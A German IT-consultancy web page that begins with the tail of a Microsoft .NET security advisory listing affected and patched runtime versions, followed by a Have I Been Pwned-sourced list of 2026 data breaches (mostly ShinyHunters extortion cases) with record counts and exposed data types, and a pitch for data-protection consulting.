10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10 ### .NET 9.0 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18 ### .NET 8.0 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29 ## Advisory FAQ ### How do I know if I am affected? If using a package listed in [affected packages](#affected-packages), you're exposed to the vulnerability. ### How do I fix the issue? 1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs. 2. If your application references the vulnerable nuget package, update the package reference to the patched version. You can list the versions you have installed by running the `dotnet --info` command. Once you have installed the updated runtime or SDK, restart your apps for the update to take effect. Additionally, if you've deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed. ## Other Information ### Reporting Security Issues If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue). Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty. ### Support You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue. ### Disclaimer The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. ### External Links [CVE-2026-57108]( https://www.cve.org/CVERecord?id=CVE-2026-57108) ### Acknowledgements 41ae55e9310ff27fa6f26af4727e5590 ### Revisions V1.0 (July 14, 2026): Advisory published.

Das "CVE"-Repository (eng. Common Vulnerabilities and Exposures) stellt eine Liste bekannter Schwachstellen und Sicherheitslücken in IT-Systemen unter Führung des "US-amerikanischen National Cybersecurity" zusammen und bewertet diese anhand Ihres Risikos auf einer Skala von eins bis zehn.


Gerade im Bereich von Web-Technologien und Cloud-Software werden regelmäßig Hacks und Sicherheitslücken bekannt. Die betroffenen Unternehmen erleiden in der Regel nicht nur einen Image-Schaden sondern stehen womöglich gegenüber Ihren Kunden auch in der rechtlichen Verantwortung. Das Projekt "Have I Been Pwned" sammelt seit Jahren Daten die aus Hacks oder Datenlecks öffentlich zugänglich werden und bietet einen Service um zu prüfen, ob man selbst von diesen Hacks betroffen wurde.

01.07.2026 - Fluke 821.100 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Physical addresses, Support tickets

In July 2026, electronic test and measurement equipment company Fluke was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published more than 100GB of data allegedly taken from the company. The corpus contained largely corporate contact information, including over 800k unique email addresses, names, phone numbers and physical addresses. A large collection of support cases was also present.
18.06.2026 - Operation Endgame 4.0 4.160.519 Datensätze geleaked
Email addresses, Passwords

On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords recovered during the operation. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation targeted by Operation Endgame were provided to HIBP, bringing the total to almost 4.2M unique email addresses.
15.06.2026 - Glendale Community College 793.925 Datensätze geleaked
Academic records, Dates of birth, Email addresses, Genders, Government issued IDs, Names, Phone numbers, Physical addresses

In June 2026, Glendale Community College was the target of a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from Glendale was later published online and included almost 800k unique email addresses along with various other data fields, including names, addresses, phone numbers, Social Security numbers and other information relating to student enrolments. In its disclosure notice, the college advised that "the potentially impacted information may vary for each individual and may include all or just one of the above-listed types of information".
15.06.2026 - June 2026 Stealer Logs 56.278.397 Datensätze geleaked
Email addresses, Passwords

In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API.
15.06.2026 - Moody Bible Institute 2.303.416 Datensätze geleaked
Dates of birth, Email addresses, Genders, Marital statuses, Names, Phone numbers, Physical addresses

In June 2026, Moody Bible Institute was targeted by a ShinyHunters "pay or leak" extortion campaign. Over 2.3M unique email addresses and other personal data were later published publicly, including names, physical addresses, phone numbers, dates of birth and other information relating to donors, supporters, students and alumni. In their disclosure notice, Moody advised that they had "engaged both internal and external cybersecurity experts to thoroughly investigate the matter".
15.06.2026 - Sysco 2.691.852 Datensätze geleaked
Customer feedback, Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Usernames

In June 2026, the food distribution company Sysco was targeted by a ShinyHunters "pay or leak" extortion campaign. Data was subsequently published containing 2.7M unique email addresses belonging to staff and customers. The data also contained largely corporate contact information including names, phone numbers, physical addresses, internal job titles, and customer feedback.
12.06.2026 - American Tower 216.601 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers.
12.06.2026 - JCPenney 368.418 Datensätze geleaked
Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames

In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses.
11.06.2026 - Ralph Lauren 139.903 Datensätze geleaked
Age groups, Email addresses, Genders, Names, Phone numbers

In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups.
09.06.2026 - Goose Creek 6.574.121 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses, Purchases

In June 2026, a party claiming to have access to data from Goose Creek Candle Company sent emails to a number of the company's customers, claiming the company had a security vulnerability and suffered a data breach. The data was subsequently sent to Have I Been Pwned and contained 6.6M unique email addresses along with names, phone numbers, physical addresses, order IDs and total spent. The data appears to have been obtained from the company's Shopify instance. Goose Creek is aware of the reports but was unable to provide Have I Been Pwned with any further information at the time of publication.
09.06.2026 - University of Nottingham 454.635 Datensätze geleaked
Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames

In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni".
05.06.2026 - Madison Square Garden Sports 9.796.738 Datensätze geleaked
Customer service records, Email addresses, Names, Phone numbers, Physical addresses

In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign. The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information.
30.05.2026 - Atlas Menu 63.926 Datensätze geleaked
Email addresses, IP addresses, Passwords, Support tickets, Usernames

In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes.
29.05.2026 - BCD Travel 396.313 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets

In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets.
23.05.2026 - Baker Distributing 102.935 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses, Support tickets

In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity.
23.05.2026 - Charter 4.851.517 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated.
23.05.2026 - DentaQuest 2.553.599 Datensätze geleaked
Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses

In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat.
05.05.2026 - Cushman & Wakefield 310.431 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations

In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers.
30.04.2026 - Reborn Gaming 126 Datensätze geleaked
Email addresses, IP addresses

In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned.
28.04.2026 - Vimeo 119.167 Datensätze geleaked
Email addresses, Names

In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information".
26.04.2026 - CTT 468.124 Datensätze geleaked
Email addresses, Names, Phone numbers

In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel.
24.04.2026 - Udemy 1.401.259 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses

In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer.
20.04.2026 - ADT 5.488.888 Datensätze geleaked
Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses

In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people.
20.04.2026 - Aman 215.563 Datensätze geleaked
Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses

In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes.
20.04.2026 - Canada Life 237.810 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets

In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data.
20.04.2026 - Pitney Bowes 8.243.989 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles.
18.04.2026 - Carnival 7.531.359 Datensätze geleaked
Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations

In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity.
15.04.2026 - Kemper 269.299 Datensätze geleaked
Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases

In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement.
15.04.2026 - Zara 197.376 Datensätze geleaked
Email addresses, Geographic locations, Purchases, Support tickets

In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information.
14.04.2026 - Abrigo 711.099 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers".
12.04.2026 - Marcus & Millichap 1.837.078 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information".
12.04.2026 - Mytheresa 84.108 Datensätze geleaked
Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations

In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date.
10.04.2026 - McGraw Hill 13.500.136 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses

In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records.
08.04.2026 - 7-Eleven 185.256 Datensätze geleaked
Dates of birth, Email addresses, Names, Phone numbers, Physical addresses

In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data.
07.04.2026 - My Lovely AI 106.271 Datensätze geleaked
Email addresses, Social media profiles

In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames.
06.04.2026 - LegionProxy 10.144 Datensätze geleaked
Email addresses, Names, Passwords, Purchases

In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases.
03.04.2026 - Amtrak 2.147.679 Datensätze geleaked
Email addresses, Names, Physical addresses, Support tickets

In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records.
02.04.2026 - SongTrivia2 291.739 Datensätze geleaked
Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames

In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars.
31.03.2026 - Hallmark 1.736.520 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses, Support tickets

In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets.
29.03.2026 - Paidwork 23.272.765 Datensätze geleaked
Bank account numbers, Dates of birth, Device information, Education levels, Email addresses, Financial transactions, Genders, IP addresses, Names, Passwords, Personal interests, Phone numbers, Physical addresses, Profile photos

In March 2026, hackers claimed they had obtained data from the gig economy platform Paidwork which they then listed for sale. Almost 11GB of data allegedly obtained from the platform was subsequently posted publicly in July and contained over 23M unique email addresses. The breach also included a broad range of other data relating to the operation of the platform including user profile data, banking information, payout history for workers and passwords stored as bcrypt hashes.
Sind Sie betroffen? Hier prüfen!






Unsere TÜV-geprüften Berater sind für Sie da!

Wir haben Experten sowohl für die rechtlichen Anforderungen durch die DSGVO und das Bundesdatenschutzgesetz als auch für die technische Seite der IT-Sicherheit. Wir können Sie dahingehend über mögliche technische Risiken und Schutzmaßnahmen gleichermaßen beraten wir zur Umsetzung der gesetzlichen Anforderungen an den Datenschutz im Unternehmen und im Verein. Von den technischen und organisatorischen Maßnahmen über das Verfahrensverzeichnis sowie die praktische Umsetzung der Vorgaben können wir Sie gerne unterstützen.

Unsere Datenschutz-Experten beraten Sie gerne »





Keine Angst vor der DSGVO - wir helfen!










© 2012 - 2026 | SD Software-Design GmbH
Impressum | Datenschutz | Karriere | Online-Services